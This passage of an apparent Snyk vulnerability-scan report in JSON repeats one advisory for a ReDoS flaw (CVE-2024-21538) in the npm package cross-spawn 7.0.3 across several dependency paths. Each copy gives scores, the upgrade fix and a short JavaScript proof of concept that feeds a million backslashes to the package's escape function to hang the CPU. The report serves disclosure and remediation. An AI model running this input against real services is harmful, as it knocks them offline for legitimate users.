it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@10.9.0",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an 